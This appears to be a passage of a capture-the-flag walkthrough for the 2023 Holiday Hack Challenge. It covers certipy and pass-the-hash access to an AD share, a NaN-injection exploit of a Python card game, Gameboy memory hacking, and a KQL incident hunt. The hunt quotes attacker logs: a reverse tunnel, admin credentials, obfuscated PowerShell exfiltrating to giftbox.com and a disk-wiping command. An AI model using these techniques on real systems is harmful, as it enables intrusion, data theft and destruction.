[*] Successfully requested certificate
[*] Request ID is 42
[*] Got certificate with UPN '[email protected]'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'wombleycube.pfx'

alabaster@ssh-server-vm:~$ certipy auth -pfx wombleycube.pfx -dc-ip 10.0.0.53
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: [email protected]
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'wombleycube.ccache'
[*] Trying to retrieve NT hash for 'wombleycube'
[*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:5740373231597863662f6d50484d3e23

Enumerate SMB Share (wombleycube)

Connect to an SMB server and obtain files with Impacket’s smbclient.py:

alabaster@ssh-server-vm:~$ smbclient.py -hashes ':5740373231597863662f6d50484d3e23' 'northpole.local/[email protected]'
Impacket v0.11.0 - Copyright 2023 Fortra

Type help for list of commands

# shares
ADMIN$
C$
D$
FileShare
IPC$
NETLOGON
SYSVOL

# use FileShare

# cd super_secret_research

# ls
drw-rw-rw-          0  Mon Jan  1 01:15:54 2024 .
drw-rw-rw-          0  Mon Jan  1 01:15:54 2024 ..
-rw-rw-rw-        231  Mon Jan  1 01:15:54 2024 InstructionsForEnteringSatelliteGroundStation.txt

# get InstructionsForEnteringSatelliteGroundStation.txt

# exit

Read the file InstructionsForEnteringSatelliteGroundStation.txt:

Note to self:

To enter the Satellite Ground Station (SGS), say the following into the speaker:

And he whispered, 'Now I shall be out of sight;
So through the valley and over the height.'
And he'll silently take his way.

We enter in the answer into our badge for the objective: Answer: InstructionsForEnteringSatelliteGroundStation.txt

Achievement

Congratulations! You have completed the AD challenge!

Port of Rusty Quay

While exploring the Steampunk Island, we discover the Port of Rusty Quay. Upon reaching it, a “Dock Now” option is presented to us.

docknow

The dock features Angel Candysalt to greet us!

port

When we make land, we obtain new objectives on arrival.

Game Cartridges: Vol 1 (Island of Misfit Toys) 🎄🎄🎄🎄🎄

Find the first Gamegosling cartridge and beat the game

Game Cartridges: Vol 2 (Pixel Island) 🎄🎄🎄🎄🎄

Find the second Gamegosling cartridge and beat the game

Game Cartridges: Vol 3 (Steampunk Island) 🎄🎄🎄🎄🎄

Find the third Gamegosling cartridge and beat the game

Full Island (Zoomed Out)

zoom30

Game Cartridges: Vol 3

Game Cartridges: Vol 3 (Steampunk Island) 🎄🎄🎄🎄🎄

Find the third Gamegosling cartridge and beat the game

If we go to the right of the dock, we find Angel Candysalt.

angel

When speaking with Angel Candysalt, we obtain the following hints:

Buried Treasures

There are 3 buried treasures in total, each in its own uncharted area around Geese Islands. Use the gameboy cartridge detector and listen for the sound it makes when treasure is nearby, which gets louder the closer you are. Also look for some kind of distinguishing mark or feature, which could mark the treasure’s location.

Bird's Eye View

The location of the treasure in Rusty Quay is marked by a shiny spot on the ground. To help with navigating the maze, try zooming out and changing the camera angle.

He also equips us with a tool named the Game Boy Cartridge Detector to assist in locating cartridges within the upcoming maze. In total, there are three cartridges hidden throughout the maze for us to discover.

detector

Finding the Game Cartridge

When we get in the maze, we can zoom out to 30% to identify a path to the Cartridge!

maze

maze

We can now find the “Elf the Dwarf’s, Gloriously, Unfinished, Adventure! - Vol3” in our Items:

maze

When we click on the game in our inventory, it launches from https://gamegosling.com/vol3-7bNwQKGBFNGQT1/ with a Gameboy ROM of game.gb.

wget https://gamegosling.com/vol3-7bNwQKGBFNGQT1/rom/game.gb -O game-vol3.gb

Speaking with Angel Candysalt after we obtained the game cartridge, we obtain the following hint:

Gameboy 3

This one is a bit long, it never hurts to save your progress! 2) 8bit systems have much smaller registers than you’re used to. 3) Isn’t this great?!? The coins are OVERFLOWing in their abundance.

Vol 3 Gameplay

Using visualboyadvance-m to emulate a GameBoy, it has a lot of tools to help analyze and hack a gameboy game.

visualboyadvance-m game0-vol3.gb

In visualboyadvance-m emulator, the K key is mapped to the B button, and L key is mapped to the A button. The WASD keys are to move.

We can also use BGB to emulate a GameBoy. It also has a lot of tools to help us analyze and hack a gameboy game. In BGB emulator, the A key is mapped to the B button, and S key is mapped to the A button. The arrow keys are to move.

Opening up the game, we are displayed with COUNTER HACK Presents - Elf the Dwarf's Gloriously Unfinished, Adventure! - Vol. 1:

gameboystartup

gameboystartup

*PREVIOUSLY ON...
Elf: GLOOOOOR....
T-wiz: Just a second Elf.
As Vol3 seems pretty buggy and coins seem to disappear after you save. You should know that my magic is available.
Elf: Oh! *cough*
Thanks for letting me know!
GLOOOOOOOOOOORY!

After the speech, we exit the cave. Note: we have a coin-counter and also the diamond is a save/load feature!

save

Exiting the cave:

exitcave

Collecting coins is achieved by executing jumps, and enemies can also be defeated by jumping on them using the “A” button. Mastering the jumping mechanism is crucial for both accumulating coins and overcoming adversaries in the game.

Upon manually accumulating 999 coins or more, an error occurs, resulting in the reset of our coin count to 0. This issue needs investigation to understand the cause and implement a resolution.

ingame

Finding the Coin Value Memory Address

Utilizing the BGB cheat searcher for the task, we initiate the search for 8-bit values. Beginning with a coin count of 0, we increment each digit of the coins by 1 sequentially (111 -> 222 -> 333), searching for values that are “not equal to the previous value.” As we progress, narrowing down the search, we ultimately identify a couple of addresses associated with the coin count, particularly when our coins reach 444. This enables us to manipulate and freeze these addresses to set the coin count to a maximum of 999.

cheatsearch

We can freeze all 6 of these final addresses, but I wanted to map them to their actual usage:

Changing CBA2 from 05 to 08 reflected in the game when moving in/out of frame for the integer values of the coins (one’s place = 00X):

ones

Changing CB9C from 05 to 03 reflected in the game when moving in/out of frame for the integer values of the coins (ten’s place = 0X0):

tens

Changing CB9E from 05 to 07 reflected in the game when moving in/out of frame for the integer values of the coins (hundred’s place = X00):

hundreds

We can freeze these 3 values so they don’t change from 999:

freeze

The other addresses of are for the current value of coins (on the screen, but not the actual when its loaded)

Finding the Position Memory Address

By navigating and continuously updating the BGB cheat searcher, we identified the memory address C0BB responsible for storing our horizontal location. Armed with this information, we can manually adjust the value at C0BB, enabling us to “jump” and effortlessly conquer obstacles or navigate gaps that would typically present a challenge in the game.

position

Endgame

Upon successfully navigating through the three levels, we encounter Jared:

endgame

Upon reaching the other side, we enter a tunnel or door that leads us into a new room.

newroom

Engaging in conversation with the Grumpy Man, he shares a unique phrase meant for ChatNPT, acknowledging me as an ultimate hacker in light of the remarkable feat of collecting 999 coins.

grumpyman

grumpyman

Speaking to ChatNPT, he makes it so I can move a rock and we receive the flag!

rockmove

rockmove

rockmove

rockmove

We enter in the answer into our badge for the objective: Answer: !tom+elf!

Achievement

Congratulations! You have completed the Game Cartridges: Vol 3 challenge!

Film Noir Island

Steer our ship towards the mysterious allure of Film Noir Island by deftly using the arrow keys on the keyboard or the WASD keys. This enigmatic island beckons from the middle-right corner of the map, promising a journey filled with intrigue and shadows. Navigate wisely and enjoy the cinematic adventure!

map

There are two different ports available:

Port of Chiaroscuro City

While exploring FIlm Noir Island, we discover the Port of Chiaroscuro City. Upon reaching it, a “Dock Now” option is presented to us.

docknow

The dock featured the Goose of Film Noir Island to greet us!

dock

When we make land, we obtain new objectives on arrival.

Na'an (Film Noir Island) 🎄🎄🎄🎄🎄

Shifty McShuffles is hustling cards on Film Noir Island. Outwit that meddling elf and win!

KQL Kraken Hunt (Film Noir Island) 🎄🎄🎄🎄🎄

Use Azure Data Explorer to uncover misdeeds in Santa’s IT enterprise. Go to Film Noir Island and talk to Tangle Coalbox for more information.

Full Island (Zoomed Out)

zoom30

Wombley Cube Audiobook

Walking past the dock straight ahead, we find Wombley Cube that shares his audio book with us! This might be useful to us later

Wombley Cube

Hey, did you have a chance to listen to my audiobook yet?

audiobook

Na’an

Na'an (Film Noir Island) 🎄🎄🎄🎄🎄

Shifty McShuffles is hustling cards on Film Noir Island. Outwit that meddling elf and win!

Upon advancing to the middle of the island through an alleyway, we encounter Shifty McShuffles near a challenge.

shifty

When speaking with Shifty McShuffles, we obtain the following hints:

Stump the Chump

Try to outsmart Shifty by sending him an error he may not understand.

The Upper Hand

Shifty said his deck of cards is made with Python. Surely there’s a weakness to give you the upper hand in his game.

When we startup the challenge, it spins up a card game:

challenge_startup

When attempting to play, we typically always lose! It seems Shifty is up to some tricks, causing obstacles in our path to victory.

play1

By proxying web traffic through Burp Suite, we’ve observed that our cards are being sent via a POST request to https://nannannannannannan.com/action= with a JSON payload of {"play":"8,7,3,4,5"}.

Furthermore, we’ve identified that the backend Web-Framework is Werkzeug/3.0.1 Python/3.8.10 based on the information provided in the Server header.

NaN Injection - Source-Code Leak, Error in CSV Reader

It appears that by setting the value to NaN, we trigger an error in the function, and as a result, obtain a very verbose source code along with the error details. This can be a valuable insight for further analysis and understanding of the system’s workings.

burpproxy

To render this script into a more readable form, you can employ the Unescape String recipe in the Cyberchef tool.

/root/webserver/webserver.py
def play_cards(csv_card_choices, request_id):
  try:
    f = StringIO(csv_card_choices)
    reader = csv.reader(f, delimiter=',')
    player_cards = []
    for row in reader:
      for n in row:
        n = float(n)
        if is_valid_whole_number_choice(n) and n not in [x['num'] for x in player_cards]:
          player_cards.append({
            'owner':'p',
            'num':n
          })
      break
    if len(player_cards) != 5:
      return jsonify({"request":False,"data": f"Requires 5 unique values but was given \"{csv_card_choices}\"" })
    player_cards = sorted(player_cards, key=lambda d: d['num'])
    shiftys_cards = shifty_mcshuffles_choices( player_cards )
    all_cards = []
    for p in player_cards:
      if p['num'] not in [x['num'] for x in shiftys_cards]:
        all_cards.append(p)
    for s in shiftys_cards:
      if s['num'] not in [x['num'] for x in player_cards]:
        all_cards.append(s)
    maxItem = False
    minItem = False
    if bool(len(all_cards)):
      maxItem = max(all_cards, key=lambda x:x['num'])
      minItem = min(all_cards, key=lambda x:x['num'])
    p_starting_value = int(session.get('player',0))
    s_starting_value = int(session.get('shifty',0))
    if bool(maxItem):
      if maxItem['owner'] == 'p':
        session['player'] = str( p_starting_value + 1 )
      else:
        session['shifty'] = str( s_starting_value + 1 )
    if bool(minItem):
      if minItem['owner'] == 'p':
        session['player'] = str( int(session.get('player',0)) + 1 )
      else:
        session['shifty'] = str( int(session.get('shifty',0)) + 1 )
    score_message, win_lose_tie_na = win_lose_tie_na_calc( int(session.get('player',0)), int(session.get('shifty',0)) )
    play_message = 'Ha, we tied!'
    if int(session['player']) - p_starting_value > int(session['shifty']) - s_starting_value:
      play_message = 'Darn, how did I lose that hand!'
    elif int(session['player']) - p_starting_value < int(session['shifty']) - s_starting_value:
      play_message = 'I win and you lose that hand!'
    if win_lose_tie_na in ['w','l','t']:
      session['player'] = '0'
      session['shifty'] = '0'
    msg = { "request":True, "data": {
      'player_cards':player_cards,
      'shiftys_cards':shiftys_cards,
      'maxItem':maxItem,
      'minItem':minItem,
      'player_score':int(session['player']),
      'shifty_score':int(session['shifty']),
      'score_message': score_message,
      'win_lose_tie_na': win_lose_tie_na,
      'play_message':play_message,
    } }
    if win_lose_tie_na == "w":
      msg["data"]['conduit'] = { 'hash': hmac.new(submissionKey.encode('utf8'), request_id.encode('utf8'), sha256).hexdigest(), 'resourceId': request_id }
    return jsonify( msg )
  except Exception as e:
    err = f"{type(e).__name__} at line {e.__traceback__.tb_lineno} of {__file__}: {e}"
    raise ValueError(err)
Error
Error in function named play_cards:
ValueError at line 172 of /root/webserver/webserver.py: TypeError at line 92 of /root/webserver/webserver.py: initial_value must be str or None, not float

NaN Injection - Min/Max

Submitting NaN as the first or second number creates an issue with the sorting function, leading to a situation where our minimum or maximum value will consistently be NaN. This problem with the sorting function can impact the expected outcomes of calculations or comparisons involving these values.

request
POST /action?id=61d459b0-8183-49f0-9e01-55431cf3dcb8 HTTP/2
Host: nannannannannannan.com
Cookie: GCLB="02ce8e29bdf3d2c5"; session=eyJwbGF5ZXIiOiIwIiwic2hpZnR5IjoiMiJ9.ZY9UcQ.gNLKGGQlWfhkp5Y_6dknQYdkrDU
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Content-Length: 22

{"play":"NaN,1,3,0,9"}

1st and 2nd Number:

firstnum

secondnum

Last Three Numbers:

thirdnum

fourthnum

fifthnum

After achieving a score of 10, victory is ours! The key to success lies in repeatedly submitting NaN as the first value, exploiting the sorting function’s flaw and ensuring the desired outcome.

Achievement

Congratulations! You have completed the Na’an challenge!

KQL Kraken Hunt

KQL Kraken Hunt (Film Noir Island) 🎄🎄🎄🎄🎄

Use Azure Data Explorer to uncover misdeeds in Santa’s IT enterprise. Go to Film Noir Island and talk to Tangle Coalbox for more information.

Heading to the top left of the island, we come across the Gumshoe Alley PI Office, which we can enter!

topleft

I found Tangle Coalbox inside and close to a challenge.

gumshoe

Engaging in a conversation with Tangle Coalbox yields the following hints:

File Creation

Looking for a file that was created on a victim system? Don’t forget the FileCreationEvents table.

KQL Tutorial

Once you get into the Kusto trainer, click the blue Train me for the case button to get familiar with KQL.

Outbound Connections

Do you need to find something that happened via a process? Pay attention to the ProcessEvents table!

When we startup the challenge, it goes to a KUSTO Detective Agency website.

elfhunt

Onboarding Case

Clicking on the on-boarding email, it pops up and explains the challenge. We have to start a free personal cluster per the FAQ section in Azure Data Explorer. I signed into Microsoft and got my cluster and data ingestion URLs. Once I obtain a Cluster URI , we login to the main site! We are a Cadet and have 0/6 cases solved.

Upon clicking the on-boarding email, a popup provides an explanation of the challenge. Following the instructions in the FAQ section on Azure Data Explorer, I initiated a free personal cluster. After signing into Microsoft, I acquired my cluster and data ingestion URLs. Once in possession of the Cluster URI, I logged into the main site. Currently, I hold the rank of Cadet with 0 out of 6 cases solved.

onboarding

The Onboarding case provides the following KQL query to initialize the database within the cluster environment:

query
.execute database script <|
.create table AuthenticationEvents (timestamp:datetime, hostname:string, src_ip:string, user_agent:string, username:string, result:string, password_hash:string, description:string)
.create table Email (timestamp:datetime, sender:string, reply_to:string, recipient:string, subject:string, verdict:string, link:string)
.create table Employees (hire_date:datetime, name:string, user_agent:string, ip_addr:string, email_addr:string, company_domain:string, username:string, role:string, hostname:string)
.create table FileCreationEvents (timestamp:datetime, hostname:string, username:string, sha256:string, path:string, filename:string, process_name:string)
.create table InboundNetworkEvents (timestamp:datetime, ['method']:string, src_ip:string, user_agent:string, url:string)
.create table OutboundNetworkEvents (timestamp:datetime, ['method']:string, src_ip:string, user_agent:string, url:string)
.create table PassiveDns (timestamp:datetime, ip:string, domain:string)
.create table ProcessEvents (timestamp:datetime, parent_process_name:string, parent_process_hash:string, process_commandline:string, process_name:string, process_hash:string, hostname:string, username:string)
.create table SecurityAlerts (timestamp:datetime, alert_type:string, severity:string, description:string, indicators:dynamic)
// Ingest data into tables
.ingest into table AuthenticationEvents ('https://kustodetectiveagency.blob.core.windows.net/sans2023c0start/AuthenticationEvents.csv') with (ignoreFirstRecord = true)
.ingest into table Email ('https://kustodetectiveagency.blob.core.windows.net/sans2023c0start/Email.csv') with (ignoreFirstRecord = true)
.ingest into table Employees ('https://kustodetectiveagency.blob.core.windows.net/sans2023c0start/Employees.csv') with (ignoreFirstRecord = true)
.ingest into table FileCreationEvents ('https://kustodetectiveagency.blob.core.windows.net/sans2023c0start/FileCreationEvents.csv') with (ignoreFirstRecord = true)
.ingest into table InboundNetworkEvents ('https://kustodetectiveagency.blob.core.windows.net/sans2023c0start/InboundNetworkEvents.csv') with (ignoreFirstRecord = true)
.ingest into table OutboundNetworkEvents ('https://kustodetectiveagency.blob.core.windows.net/sans2023c0start/OutboundNetworkEvents.csv') with (ignoreFirstRecord = true)
.ingest into table PassiveDns ('https://kustodetectiveagency.blob.core.windows.net/sans2023c0start/PassiveDns.csv') with (ignoreFirstRecord = true)
.ingest into table ProcessEvents ('https://kustodetectiveagency.blob.core.windows.net/sans2023c0start/ProcessEvents.csv') with (ignoreFirstRecord = true)
.ingest into table SecurityAlerts ('https://kustodetectiveagency.blob.core.windows.net/sans2023c0start/SecurityAlerts.csv') with (ignoreFirstRecord = true)

To execute the provided KQL script, click the Run button located in the top-right corner. This action redirects you to Azure Data Explorer, where you can click the Run button again to initialize the “MyDatabase” database.

azuredatabase

In handling the Onboarding Case, I initiated the investigation by inspecting the Employees table. Notably, laptops were consistently marked with ‘LAPTOP’ in the hostname column, and the role consistently specified as ‘Craftsperson Elf’. To enhance accuracy, a distinct query was executed to identify and remove duplicate entries. The subsequent count yielded a comprehensive overview of the relevant data.

query
Employees
| where role == 'Craftsperson Elf'
| where hostname has "LAPTOP"
| distinct name
| count
result
"count": 25

How many Craftperson Elf's are working from laptops?

Answer: 25

Case 1

case1

In addressing Case 1, I examined the “Email” data, focusing on records with URLs like “http://madelvesnorthpole.org/published/search/MonthlyInvoiceForReindeerFood.docx.” Using the | where clause, I isolated entries in the “link” column containing this URL substring, aiming to extract pertinent information from the “Email” dataset.

query
Email
| where link has "http://madelvesnorthpole.org/published/search/MonthlyInvoiceForReindeerFood.docx"
result
"timestamp": 2023-12-02T09:37:40Z,
"sender": [email protected],
"reply_to": [email protected],
"recipient": [email protected],
"subject": [EXTERNAL] Invoice foir reindeer food past due,
"verdict": CLEAN,
"link": http://madelvesnorthpole.org/published/search/MonthlyInvoiceForReindeerFood.docx

What is the email address of the employee who received this phishing email?

Answer: [email protected]

What is the email address that was used to send this spear phishing email?

Answer: [email protected]

What was the subject line used in the spear phishing email?

Answer:[EXTERNAL] Invoice foir reindeer food past due

Case 2

case2

In addressing Case 2, I filtered the “Employees” data to include only rows where the email_addr column matches the specified email address of [email protected]. This was done using the | where clause for filtering. The outcome is a subset of data exclusively related to the provided email address within the “Employees” dataset.

query
Employees
| where email_addr == "[email protected]"
"hire_date": 2021-06-09T06:59:43Z,
"name": Alabaster Snowball,
"user_agent": Mozilla/5.0 (Windows NT 6.2; Win64; x64; Trident/7.0; rv:11.0) like Gecko,
"ip_addr": 10.10.0.4,
"email_addr": [email protected],
"company_domain": santaworkshopgeeseislands.org,
"username": alsnowball,
"role": Head Elf,
"hostname": Y1US-DESKTOP

What is the role of our victim in the organization?

Answer: Head Elf

What is the hostname of the victim's machine?

Answer: Y1US-DESKTOP

What is the source IP linked to the victim?

Answer: 10.10.0.4

Case 3

case3

In addressing Case 3 question 1, I queried data from OutboundNetworkEvents to isolate entries where the url column contains the substring madelvesnorthpole.org. The | where clause serves to filter and identify records associated with this specific domain within the OutboundNetworkEvents dataset.

query
OutboundNetworkEvents
| where url has "madelvesnorthpole.org"
result
"timestamp": 2023-12-02T10:12:42Z,
"method": GET,
"src_ip": 10.10.0.4,
"user_agent": Mozilla/5.0 (Windows NT 6.2; Win64; x64; Trident/7.0; rv:11.0) like Gecko,
"url": http://madelvesnorthpole.org/published/search/MonthlyInvoiceForReindeerFood.docx

What time did Alabaster click on the malicious link? Make sure to copy the exact timestamp from the logs!

Answer: 2023-12-02T10:12:42Z

In addressing Case 3 question 2, I retrieved data from FileCreationEvents where the timestamp is on or after December 2, 2023, at 10:12:42 AM (UTC). The query is limited to the first 5 results using the | take 5 clause, providing a snapshot of recent file creation events within the specified timeframe from the FileCreationEvents dataset.

query
FileCreationEvents
| where timestamp >= datetime("2023-12-02T10:12:42Z")
| take 5
result
"timestamp": 2023-12-02T10:12:48Z,
"hostname": 7CUR-LAPTOP,
"username": evwinterwhisper,
"sha256": 1224bdfcfeae79e619525f864f6ba4c3e44d7d8e4606341f8832c246a38c9ddd,
"path": C:\Users\evwinterwhisper\Pictures\garden.jpeg,
"filename": garden.jpeg,
"process_name": explorer.exe

"timestamp": 2023-12-02T10:13:35Z,
"hostname": Y1US-DESKTOP,
"username": alsnowball,
"sha256": 9cec01b76ec24175cde5482b4c0b09fa4278b8e06a267186888853207adc3ced,
"path": C:\Users\alsnowball\Downloads\MonthlyInvoiceForReindeerFood.docx,
"filename": MonthlyInvoiceForReindeerFood.docx,
"process_name": Edge.exe

"timestamp": 2023-12-02T10:14:21Z,
"hostname": Y1US-DESKTOP,
"username": alsnowball,
"sha256": 4c199019661ef7ef79023e2c960617ec9a2f275ad578b1b1a027adb201c165f3,
"path": C:\ProgramData\Windows\Jolly\giftwrap.exe,
"filename": giftwrap.exe,
"process_name": explorer.exe

"timestamp": 2023-12-02T10:17:45Z,
"hostname": AD6Z-MACHINE,
"username": copeppermintwhirl,
"sha256": bcfa463cf0785a9435c719857973997ec49f212b909cbec62e347d752d706afc,
"path": C:\Windows\System32\replace.exe,
"filename": replace.exe,
"process_name": svchost.exe

"timestamp": 2023-12-02T10:18:50Z,
"hostname": WAWE-MACHINE,
"username": snnutmeggins,
"sha256": 5aa77d78966fab257d5852a9c10c66e9845d5fe4dc715374469a78dae24760d3,
"path": C:\Program Files\WindowsApps\Microsoft.WindowsFeedbackHub_1.1907.3152.0_x64__8wekyb3d8bbwe\Assets\HoloTileAssets\StartTile.hcp,
"filename": StartTile.hcp,
"process_name": wuauclt.exe

What file is dropped to Alabaster's machine shortly after he downloads the malicious file?

Answer: giftwrap.exe

Case 4

case4

In addressing Case 4, I extracted data from “ProcessEvents” where the “timestamp” is on or after December 2, 2023, at 10:12:42 AM (UTC). Additionally, I filtered the results to include entries where the “username” contains the substring “alsnowball” and the “parent_process_name” is specifically “cmd.exe.” This query focuses on process events associated with the specified timestamp, username, and parent process name within the “ProcessEvents” dataset.

query
ProcessEvents
| where timestamp >= datetime("2023-12-02T10:12:42Z")
| where username has "alsnowball"
| where parent_process_name == "cmd.exe"
result
"timestamp": 2023-12-02T11:11:29Z,
"parent_process_name": cmd.exe,
"parent_process_hash": 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f,
"process_commandline": "ligolo" --bind 0.0.0.0:1251 --forward 127.0.0.1:3389 --to 113.37.9.17:22 --username rednose --password falalalala --no-antispoof,
"process_name": ligolo,
"process_hash": e9b34c42e29a349620a1490574b87865cc1571f65aa376b928701a034e6b3533,
"hostname": Y1US-DESKTOP,
"username": alsnowball

"timestamp": 2023-12-02T16:51:44Z,
"parent_process_name": cmd.exe,
"parent_process_hash": 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f,
"process_commandline": net share,
"process_name": net.exe,
"process_hash": 8b5b1556ba468035a37b40d8ea42a4bff252f4502b97c52fcacb3ba269527a57,
"hostname": Y1US-DESKTOP,
"username": alsnowball

..[snip]..

"timestamp": 2023-12-24T15:14:25Z,
"parent_process_name": cmd.exe,
"parent_process_hash": 614ca7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f,
"process_commandline": cmd.exe /C net use \\NorthPolefileshare\c$ /user:admin AdminPass123,
"process_name": cmd.exe,
"process_hash": bfc3e1967ffe2b1e6752165a94f7f84a216300711034b2c64b1e440a54e91793,
"hostname": Y1US-DESKTOP,
"username": alsnowball

The attacker created an reverse tunnel connection with the compromised machine. What IP was the connection forwarded to?

Answer: 113.37.9.17

What is the timestamp when the attackers enumerated network shares on the machine?

Answer: 2023-12-02T16:51:44Z

What was the hostname of the system the attacker moved laterally to?

Answer: NorthPolefileshare

Case 5

case5

In addressing Case 5, I extracted data from ProcessEvents with a timestamp on or after December 24, 2023, at 3:14:25 PM (UTC). The filtering also focused on entries where the process_commandline contains -enc. Using extensions, I decoded a portion of the command line that followed the -enc flag, assuming it is Base64-encoded. The results were then projected to include the original timestamp, the process command line, and the decoded version for further analysis.

query
ProcessEvents
| where timestamp >= datetime("2023-12-24T15:14:25Z")
| where process_commandline has "-enc"
| extend encoded_part = extract(@"-enc\s+([a-zA-Z0-9+_]*)", 1, process_commandline)
| extend decoded_commandline = base64_decode_tostring(encoded_part)
| project timestamp, process_commandline, decoded_commandline
result
"timestamp": 2023-12-24T16:07:47Z,
"process_commandline": C:\Windows\System32\powershell.exe -Nop -ExecutionPolicy bypass -enc KCAndHh0LnRzaUxlY2lOeXRoZ3VhTlxwb3Rrc2VEXDpDIHR4dC50c2lMZWNpTnl0aGd1YU5cbGFjaXRpckNub2lzc2lNXCRjXGVyYWhzZWxpZmVsb1BodHJvTlxcIG1ldEkteXBvQyBjLSBleGUubGxlaHNyZXdvcCcgLXNwbGl0ICcnIHwgJXskX1swXX0pIC1qb2luICcn,
"decoded_commandline": ( 'txt.tsiLeciNythguaN\potkseD\:C txt.tsiLeciNythguaN\lacitirCnoissiM\$c\erahselifeloPhtroN\\ metI-ypoC c- exe.llehsrewop' -split '' | %{$_[0]}) -join ''

"timestamp": 2023-12-24T16:58:43Z,
"process_commandline": C:\Windows\System32\powershell.exe -Nop -ExecutionPolicy bypass -enc W1N0UmlOZ106OkpvSW4oICcnLCBbQ2hhUltdXSgxMDAsIDExMSwgMTE5LCAxMTAsIDExOSwgMTA1LCAxMTYsIDEwNCwgMTE1LCA5NywgMTEwLCAxMTYsIDk3LCA0NiwgMTAxLCAxMjAsIDEwMSwgMzIsIDQ1LCAxMDEsIDEyMCwgMTAyLCAxMDUsIDEwOCwgMzIsIDY3LCA1OCwgOTIsIDkyLCA2OCwgMTAxLCAxMTUsIDEwNywgMTE2LCAxMTEsIDExMiwgOTIsIDkyLCA3OCwgOTcsIDExNywgMTAzLCAxMDQsIDExNiwgNzgsIDEwNSwgOTksIDEwMSwgNzYsIDEwNSwgMTE1LCAxMTYsIDQ2LCAxMDAsIDExMSwgOTksIDEyMCwgMzIsIDkyLCA5MiwgMTAzLCAxMDUsIDEwMiwgMTE2LCA5OCwgMTExLCAxMjAsIDQ2LCA5OSwgMTExLCAxMDksIDkyLCAxMDIsIDEwNSwgMTA4LCAxMDEpKXwmICgoZ3YgJypNRHIqJykuTmFtRVszLDExLDJdLWpvaU4=,
"decoded_commandline": [StRiNg]::JoIn( '', [ChaR[]](100, 111, 119, 110, 119, 105, 116, 104, 115, 97, 110, 116, 97, 46, 101, 120, 101, 32, 45, 101, 120, 102, 105, 108, 32, 67, 58, 92, 92, 68, 101, 115, 107, 116, 111, 112, 92, 92, 78, 97, 117, 103, 104, 116, 78, 105, 99, 101, 76, 105, 115, 116, 46, 100, 111, 99, 120, 32, 92, 92, 103, 105, 102, 116, 98, 111, 120, 46, 99, 111, 109, 92, 102, 105, 108, 101))|& ((gv '*MDr*').NamE[3,11,2]-joiN

"timestamp": 2023-12-25T10:44:27Z,
"process_commandline": C:\Windows\System32\powershell.exe -Nop -ExecutionPolicy bypass -enc QzpcV2luZG93c1xTeXN0ZW0zMlxkb3dud2l0aHNhbnRhLmV4ZSAtLXdpcGVhbGwgXFxcXE5vcnRoUG9sZWZpbGVzaGFyZVxcYyQ=,
"decoded_commandline": C:\Windows\System32\downwithsanta.exe --wipeall \\\\NorthPolefileshare\\c$

The first and second commands executed by the attacker were obfuscated still, so we needed to run them in PowerShell:

firstcmd
( 'txt.tsiLeciNythguaN\potkseD\:C txt.tsiLeciNythguaN\lacitirCnoissiM\$c\erahselifeloPhtroN\\ metI-ypoC c- exe.llehsrewop' -split '' | %{$_[0]}) -join '' | rev
result
powershell.exe -c Copy-Item \\NorthPolefileshare\c$\MissionCritical\NaughtyNiceList.txt C:\Desktop\NaughtyNiceList.txt
secondcmd
[StRiNg]::JoIn( '', [ChaR[]](100, 111, 119, 110, 119, 105, 116, 104, 115, 97, 110, 116, 97, 46, 101, 120, 101, 32, 45, 101, 120, 102, 105, 108, 32, 67, 58, 92, 92, 68, 101, 115, 107, 116, 111, 112, 92, 92, 78, 97, 117, 103, 104, 116, 78, 105, 99, 101, 76, 105, 115, 116, 46, 100, 111, 99, 120, 32, 92, 92, 103, 105, 102, 116, 98, 111, 120, 46, 99, 111, 109, 92, 102, 105, 108, 101))
result
downwithsanta.exe -exfil C:\\Desktop\\NaughtNiceList.docx \\giftbox.com\file

The third command executed by the attacker was automatically decoded by the initial KQL (Kusto Query Language) query.

result
C:\Windows\System32\downwithsanta.exe --wipeall \\\\NorthPolefileshare\\c$

When was the attacker's first base64 encoded PowerShell command executed on Alabaster's machine?

Answer: 2023-12-24T16:07:47Z

What was the name of the file the attacker copied from the `fileshare`? (This might require some additional decoding)

Answer: NaughtyNiceList.txt

The attacker has likely exfiltrated data from the file share. What domain name was the data exfiltrated to?

Answer: giftbox.com

Case 6

case6

In addressing Case 6, I used the same result of Case 5.

result
C:\Windows\System32\downwithsanta.exe --wipeall \\\\NorthPolefileshare\\c$

What is the name of the executable the attackers used in the final malicious command?

Answer: downwithsanta.exe

What was the command line flag used alongside this executable?

Answer: --wipeall

success

Congratulations!

Congratulations, you’ve cracked the Kusto detective agency section of the Holiday Hack Challenge!

query
print base64_decode_tostring('QmV3YXJlIHRoZSBDdWJlIHRoYXQgV29tYmxlcw==')
result
Beware the Cube that Wombles

After submitting the secret phrase into the Objectives tab, I got an achievement:

Achievement

Congratulations! You have completed the KQL Kraken Hunt challenge!"

Port of the Blacklight District

While exploring FIlm Noir Island, we discover the Port of the Blacklight District. Upon reaching it, a “Dock Now” option is presented to us.

docknow

The dock featured the Goose of Film Noir Island to greet us!

dock

When we make land, we obtain a new objective on arrival.

Phish Detection Agency (Film Noir Island) 🎄🎄🎄🎄🎄

Fitzy Shortstack on Film Noir Island needs help battling dastardly phishers. Help sort the good from the bad!

Full Island (Zoomed Out)

zoom30

Phish Detection Agency

Phish Detection Agency (Film Noir Island) 🎄🎄🎄🎄🎄

Fitzy Shortstack on Film Noir Island needs help battling dastardly phishers. Help sort the good from the bad!

If we go to the right of the Goose of Film Noir Island, we find Fitzy Shortstack close to a challenge.

mapphishing

Engaging in a conversation with Fitzy Shortstack yields the following hints:

DMARC, DKIM, and SPF, oh my!

Discover the essentials of email security with DMARC, DKIM, and SPF at Cloudflare’s Guide.

Upon initiating the challenge, the Phishing Detection Agency extends a welcome, providing an explanation of the challenge. Exploring the tabs allows us to view the currently detected phishing emails, the entire inbox content, and the DNS setup.

challenge_startup

Here is a table presenting all the emails at the beginning of the challenge:

SenderSubjectStatus
